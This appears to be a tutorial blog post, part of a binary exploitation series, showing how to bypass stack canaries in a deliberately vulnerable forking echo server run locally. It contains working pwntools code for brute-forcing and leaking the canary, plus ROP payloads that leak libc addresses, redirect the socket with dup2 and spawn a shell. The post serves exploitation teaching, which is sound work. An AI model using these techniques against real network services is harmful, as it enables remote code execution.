Binary Exploitation Series (6): Defeating Stack Cookies

17 minute read

Today we are going to defeat stack cookies in two different ways. We have access to the binary and we need to leak some information about its environment to write our exploit. As always, you can download the challenge.
This time we have stack cookies (Canary: Yes) enabled.

gef➤  checksec
[+] checksec for './cookies'
Canary                        : Yes →  value: 0xf28cd8655c310f00
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

ASLR is activated ;-)

We’ll start by understanding what a stack cookie/canary is and what it protects. A stack cookie in general is a randomly chosen value (4 or 8 bytes long) which is always put before the saved base pointer on the stack. Before a function returns the stack cookie will always be checked for correctness. If it is modified a program will just crash and a possible malicious code won’t be executed. This gives us a certain amount of security if a stack buffer overflow occurs because it protects us against control over the return address of the program. But there are multiple problems with stack cookies.
The first problem is that we can still overflow all variables which are between our buffer and the stack cookie. Second, if the program forks it is possible to leak the stack cookie because it has the same value in each child process. Third problem, if the target does not have a classic buffer overflow e.g. a format string vulnerability or a relative write out of bounds via an array, we could still bypass the stack cookie and write directly to certain addresses. So, stack cookies are a somewhat good protection against non-forked programs with stack buffer overflow vulnerabilities but for other scenarios, this protection is easy to bypass.
Note, that stack cookies always have a null byte as the least significant byte because some functions will stop reading data if a null byte is sent. Therefore, an attacker would not be able to brute force or even send a stack cookie, if it is known, because the function would stop reading at the null byte.

Target

The target is again very simple. We have a basic socket server which can handle multiple connections and therefore spawns child processes (fork) for each request. The vulnerability is in the function serve by reading 2048 bytes into a 1024 buffer.

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <netinet/tcp.h>

//gcc -m64 cookies.c -o cookies -no-pie

void serve(int sock)
{
    char buffer[1024];

    // recv data
    recv(sock, buffer, 2048, 0);

    // send the message back
    send(sock, buffer, strlen(buffer), 0);
}

int main(int argc, char *argv[])
{
    int sockfd, newsockfd, portno, clilen;
    struct sockaddr_in serv_addr, cli_addr;
    int n, pid;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    if (sockfd < 0)
    {
        perror("ERROR opening socket");
        exit(1);
    }

    bzero((char *)&serv_addr, sizeof(serv_addr));
    portno = 1234;

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(portno);

    if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    {
        perror("ERROR on binding");
        exit(1);
    }

    listen(sockfd, 3);
    clilen = sizeof(cli_addr);

    while (1)
    {
        newsockfd = accept(sockfd, (struct sockaddr *)&cli_addr, &clilen);

        if (newsockfd < 0)
        {
            perror("ERROR on accept");
            exit(1);
        }

        pid = fork();

        if (pid < 0)
        {
            perror("ERROR on fork");
            exit(1);
        }

        if (pid == 0)
        {
            close(sockfd);
            write(newsockfd, "Welcome to the best echo service in the world!\n", 47);
            serve(newsockfd);
            send(newsockfd, "Goodbye!\n", strlen("Goodbye!\n"), 0);
            close(newsockfd);
            exit(0);
        }
        else
        {
            close(newsockfd);
        }
    }
}

Analysis

We’ll start our exercise by executing the binary with ./cookies and we try to connect with nc localhost 1234 to get a first impression of the software.

nc localhost 1234
Welcome to the best echo service in the world!
Test
Test

Goodbye!

Okay, we can enter some text which is saved to the buffer. Obviously, we can enter an arbitrary string and we can overflow the buffer of 1024 bytes.
Let’s start playing around!
Attach gdb to the process:

gdb -q ./cookies
gef➤ set follow-fork-mode child
gef➤ !pidof cookies
<pid>
gef➤ attach <pid>
gef➤ continue

We set the option follow-fork-mode child to debug the child process if the master process forks. After that we attach to the process of the master process by using the command !pidof cookies to get the process ID and the command attach <pid> to attach to the process.
To begin our analysis, we start writing our exploit with python. First, we connect to the remote target and send our payload.

from pwn import *

r = remote("localhost", 1234)

r.clean()
r.sendline("A"*5000)

r.interactive()

Let’s look into gdb:

[#0] Id 1, Name: "cookies", stopped, reason: SIGABRT
....
gef➤  backtrace                                                                                                              
#0  __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:51                                            
#1  0x00007fb6b9ded801 in __GI_abort () at abort.c:79
#2  0x00007fb6b9e36897 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7fb6b9f63988 "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007fb6b9ee1cd1 in __GI___fortify_fail_abort (need_backtrace=need_backtrace@entry=0x0, msg=msg@entry=0x7fb6b9f63966 "stack smashing detected") at fortify_fail.c:33
#4  0x00007fb6b9ee1c92 in __stack_chk_fail () at stack_chk_fail.c:29     
#5  0x0000000000400985 in serve ()                
#6  0x4141414141414141 in ?? ()                                          
#7  0x4141414141414141 in ?? ()              
#8  0x4141414141414141 in ?? ()
....

We got a SIGABRT and the reason for that seems to be a wrong stack cookie (#4 0x00007fb6b9ee1c92 in __stack_chk_fail ()).
Let’s examine the crash in detail. The item #5 of the back trace gives us a first indicator from where this __stack_chk_fail function is called. To find out what is happening we disassemble the serve function.

gef➤  disassemble serve
Dump of assembler code for function serve:
   0x0000000000400907 <+0>:     push   rbp
   0x0000000000400908 <+1>:     mov    rbp,rsp
   0x000000000040090b <+4>:     sub    rsp,0x420
   0x0000000000400912 <+11>:    mov    DWORD PTR [rbp-0x414],edi
   0x0000000000400918 <+17>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400921 <+26>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400925 <+30>:    xor    eax,eax
   0x0000000000400927 <+32>:    lea    rsi,[rbp-0x410]
   0x000000000040092e <+39>:    mov    eax,DWORD PTR [rbp-0x414]
   0x0000000000400934 <+45>:    mov    ecx,0x0
   0x0000000000400939 <+50>:    mov    edx,0x800
   0x000000000040093e <+55>:    mov    edi,eax
   0x0000000000400940 <+57>:    call   0x400730 <recv@plt>
   0x0000000000400945 <+62>:    lea    rax,[rbp-0x410]
   0x000000000040094c <+69>:    mov    rdi,rax
   0x000000000040094f <+72>:    call   0x400750 <strlen@plt>
   0x0000000000400954 <+77>:    mov    rdx,rax
   0x0000000000400957 <+80>:    lea    rsi,[rbp-0x410]
   0x000000000040095e <+87>:    mov    eax,DWORD PTR [rbp-0x414]
   0x0000000000400964 <+93>:    mov    ecx,0x0
   0x0000000000400969 <+98>:    mov    edi,eax
   0x000000000040096b <+100>:   call   0x400780 <send@plt>
   0x0000000000400970 <+105>:   nop
   0x0000000000400971 <+106>:   mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400975 <+110>:   xor    rax,QWORD PTR fs:0x28
   0x000000000040097e <+119>:   je     0x400985 <serve+126>
   0x0000000000400980 <+121>:   call   0x400760 <__stack_chk_fail@plt>
   0x0000000000400985 <+126>:   leave  
   0x0000000000400986 <+127>:   ret    
End of assembler dump.

Okay, we see at serve+17 and serve+26 that the stack cookie is loaded from fs:0x28 and it is put before the saved base pointer (rbp-0x08) on the stack. At the end of the function (serve+106) the saved stack cookie will be loaded and then compared with the original stack cookie at fs:0x28. If the stack cookie matches the original stack cookie a jump will be taken to the leave instructions and the function returns. If the stack cookie is corrupt then the __stack_chk_fail function will be called and the program aborts.
Our goal now is to leak the stack cookie to be able to overwrite the return address of the serve function. For that, we have to find out the offset to rbp-0x08 from our input buffer. We put a breakpoint on serve+110, send a cyclic pattern via pwntools and compute the offset with the value in rax.

gef➤  breakpoint *serve+110
Breakpoint 1 at 0x400975
gef➤  continue
...
$rax   : 0x6161616a61616169 ("iaaajaaa"?)
...

Offset is 1032 bytes. We can verify the offset by sending 1032 bytes of A and one B. Perfect: $rax : 0xf28cd8655c310f42 (The value should be different because the cookie is randomly chosen)
Since this is an echo service, we have now two possible ways to leak a stack cookie.

Brute Force Method

The idea for brute force is that we guess each byte of the stack cookie until we got all 8 bytes. To successfully do that, we need to distinguish between normal behavior and wrong behavior of the execution.
If we are sending B we are not getting a Goodbye! message from the application because it aborts before exiting the process in the intended way. If we are sending a null byte \x00 then the application is normally exiting and we are getting the Goodbye! message. This is all we need to distinguish between the two states of the application.

A brute force is visualized in the next figure where the red part is the static payload and the green values are our guesses for each byte. The response of the target could either be EOF - End Of File (wrong guess) or the correct message Goodbye! (correct guess, move to the next byte).



Let’s write a brute force method for the stack cookie. You can verify the stack cookie with gdb and a breakpoint at serve+110. Or you attach gdb to the process and type checksec which will print the stack cookie (feature of gef).












Please try it on your own first because the method is straightforward. If you get stuck you can still peek into the solution.























def brute_canary(msg, host, port):
    log.info("Brute force started...")
    context.log_level = "error" # ignore info. It would spam with "open connection" "connection closed"
    canary = b"\x00"
    for canary_byte in xrange(len(canary), 8): # guess 8 bytes for a 64-bit program
        for value in xrange(256): # guess values from 0-255
            while 1:
                try:
                    io = remote(host, port)
                    break
                except: # device busy exception, too many requests
                    print("[!] Connection attempt failed. New attempt in 1 second...")
                time.sleep(1)

            io.clean()
            io.send(msg + canary + pack(value, 8))
            response = ""
            try:
                response = io.recvuntil("Goodbye!")
            except EOFError:
                pass
            finally:
                io.shutdown()
                io.close()
            if "Goodbye!" in response: # correct guess
                canary += pack(value, 8)
                print("[+] [%s] = %s" % (str(canary_byte), hex(value)))
                break

    context.log_level = "info" # enable info logging again
    canary = u64(canary)
    log.info("Stack cookie is %s" % hex(canary))
    return canary

canary = brute_canary("A"*1032, "localhost", 1234)

Leak via Write

For this challenge a direct leak is possible and very simple. Since we can write past the input buffer and the stack cookie is directly behind it, we can simply overwrite the null byte of the stack cookie to print more data (strlen will return a bigger value). Then we have to parse the returned value. In the case of a null byte in the stack cookie itself we can just repeat the same function with a different offset until we get at least 8 bytes (the size of the stack cookie in 64-bit systems).
Again, try it on your own first!
Here is a function which leaks the stack cookie:

def leak_canary(offset, host, port, leaked_data=""):
    io = remote(host, port)
    io.clean()
    io.send("A"*offset+"B") # overwrite null byte with B to read more bytes ;-)
    response = bytearray("")
    try:
        while 1:
            response += bytearray(io.recv(1))
    except EOFError:
        pass
    response = response[offset:]# remove A's
    response[0] = "\x00" # Replace B with the original null byte
    if len(leaked_data) + len(response) >= 8:
        log.info("Got enough data..")
        leaked_data = str(leaked_data + response)
        stack_cookie = u64(leaked_data[:8])
        log.info("Stack cookie is %s" % hex(stack_cookie))
        return stack_cookie
    else:
        return leak_canary(offset+len(response), host, port, response) # if a second null byte is in the canary you will have to leak more data
    io.shutdown()
    io.close()

canary = leak_canary(1032, "localhost", 1234)
python exploit.py
[+] Opening connection to localhost on port 1234: Done
[*] Got enough data..
[*] Stack cookie is 0xf28cd8655c310f00

Exploit Development

For further analysis of the target we can use the leak function or a hard-coded stack cookie because the value does not change.
If we want to use the leak function, we have to add a raw_input between the canary leak and the rest of the code to pause the execution of the script (or use pause() of pwntools). This will give us an opportunity to attach the debugger to the process. Then we will send a cyclic pattern and get the offset to the return address. (you could also use gdb.attach of pwntools)

python exploit.py
[+] Opening connection to localhost on port 1234: Done
[*] Got enough data..
[*] Stack cookie is 0xfead3e7449a42700
Attach now!

We got an offset of 8 which does make sense because there is only the saved base pointer in between. 0x00007ffe38898ef8│+0x0000: 0x4343434343434343 ← $rsp

Our next steps:

  • Leak GOT addresses to identify libc version
  • Compute libc base address
  • Get one shot gadget to get a shell
  • Redirect stdout/stdin to sockets
  • Shell :-)

To leak libc function addresses of the GOT we do the same thing as in Chapter 4. This time with write instead of puts. The third parameter is already set to 0x408 (the length of strlen()) and therefore we are lucky because we don’t have a suitable gadget to set rdx.

The file descriptor of the used socket can be obtained via shell commands:

gef➤  info proc                                       
process 49928                                         
cmdline = './cookies'                                        
cwd = '/BinaryExploitationSeries/Chapter 6'
exe = '/BinaryExploitationSeries/Chapter 6/cookies'

gef➤  !ls -l /proc/49928/fd
total 0
lrwx------ 1 work work 64 Dez  4 14:11 0 -> /dev/pts/3
lrwx------ 1 work work 64 Dez  4 14:11 1 -> /dev/pts/3
lrwx------ 1 work work 64 Dez  4 14:11 2 -> /dev/pts/3
lrwx------ 1 work work 64 Dez  4 14:11 4 -> 'socket:[370150]' # <---- fd = 4

Now we have to put everything together.

def leak_function_address(host, port, canary, challenge_elf, function_name, count):
   payload = ''.join( ["A"*count + "\x00"*(1032-count), # set rdx to leak only 'count' bytes (strlen(input) == count) ;-)
                        p64(canary),
                        "B"*8, # saved base pointer
                        p64(0x0000000000400b83), # pop rdi ; ret
                        p64(4), # fd = 4 = socket
                        p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
                        p64(challenge_elf.got[function_name]), # address of recv in GOT
                        "A"*8, # dummy
                        p64(challenge_elf.symbols["write"]),
                        ])
      .... # send, receive and parse like last time ;-)

Now we can leak a few functions and identify the libc version via libc.blukat.me.

recv_leaked = leak_function_address("localhost", 1234, canary, challenge_elf, "recv", 8) # __recv
fork_leaked = leak_function_address("localhost", 1234, canary, challenge_elf, "fork", 8) # fork
.....

[+] Opening connection to localhost on port 1234: Done
[*] recv @ 0x7fb6b9ecfa00
[+] Opening connection to localhost on port 1234: Done
[*] fork @ 0x7fb6b9e91a50

# -> libc6_2.27-3ubuntu1_amd64
# Compute libc base as in chapter 4

Now, we know the used libc version on the server. Let’s get a one gadget and try to exploit it!

one_gadget <identified libc>
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Add another raw_input() to pause the execution and put another payload into the script.

payload = ''.join( ["\x00"*(1032),
                        p64(canary),
                        "B"*8, # saved base pointer
                        p64(libc_base + 0x4f322), # execve
                        "\x00"*150 # to meet our constraint -> rsp + 0x40 == NULL
                        ])

Then attach the debugger before execve is triggered … Perfect! We executed a shell.

gef➤  c
Continuing.
process 50645 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x400986

gef➤  detach
Detaching from program: /bin/dash, process 50645

Last problem for today is that we cannot interact with the shell because it will use stdout/stdin and not our socket file descriptor. Therefore, we have to redirect stdout (1) and stdin (0) file descriptors to the socket file descriptor (4). Luckily, there is a function called dup2 which does that for us. :-)
Let’s extend our small rop chain to call dup2 for stdin and stdout.

payload = ''.join( ["\x00"*(1032),
    p64(canary),
    "B"*8, # saved base pointer
    p64(0x0000000000400b83), # pop rdi ; ret
    p64(4), # old fd
    p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
    p64(0), # new fd
    "A"*8, # dummy
    p64(libc_base + libc_elf.symbols["dup2"]),
    p64(0x0000000000400b83), # pop rdi ; ret
    p64(4), # old fd
    p64(0x0000000000400b81), # pop rsi ; pop r15 ; ret
    p64(1), # new fd
    "A"*8, # dummy
    p64(libc_base + libc_elf.symbols["dup2"]),
    p64(libc_base + 0x4f322),
    "\x00"*150
    ])

Final exploit (This time without the complete source. Follow along to get a working exploit!):

python exploit.py
[*] Got enough data..
[*] Stack cookie is 0xfead3e7449a42700
[*] Leaking libc function addresses via GOT ...
[*] Leaked: recv @ 0x7fb6b9ecfa00
[*] Leaked: fork @ 0x7fb6b9e91a50
[*] Computing libc base address in memory...
[*] Libc base @ 0x7fb6b9dad000
[*] Spawning shell...
[*] Switching to interactive mode
$ ls
cookies
cookies.c
exploit.py

Great! We popped a shell and we can now defeat stack cookies!
Next time, we will activate more protections and we will try to bypass all of them!

Happy Hacking!